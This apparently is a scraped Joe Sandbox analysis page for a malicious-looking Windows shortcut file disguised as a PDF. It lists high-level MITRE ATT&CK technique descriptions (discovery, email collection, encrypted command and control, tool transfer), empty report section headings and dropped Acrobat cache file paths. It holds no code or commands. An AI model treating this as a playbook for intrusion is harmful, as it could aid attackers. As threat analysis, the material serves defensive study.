Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report HateSpeech2024_Summary.pdf.lnk.bin.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e2712fd8-06e2-4164-857d-757ce7246b5f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250105094408Z-192.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Windows Analysis Report
HateSpeech2024_Summary.pdf.lnk.bin.lnk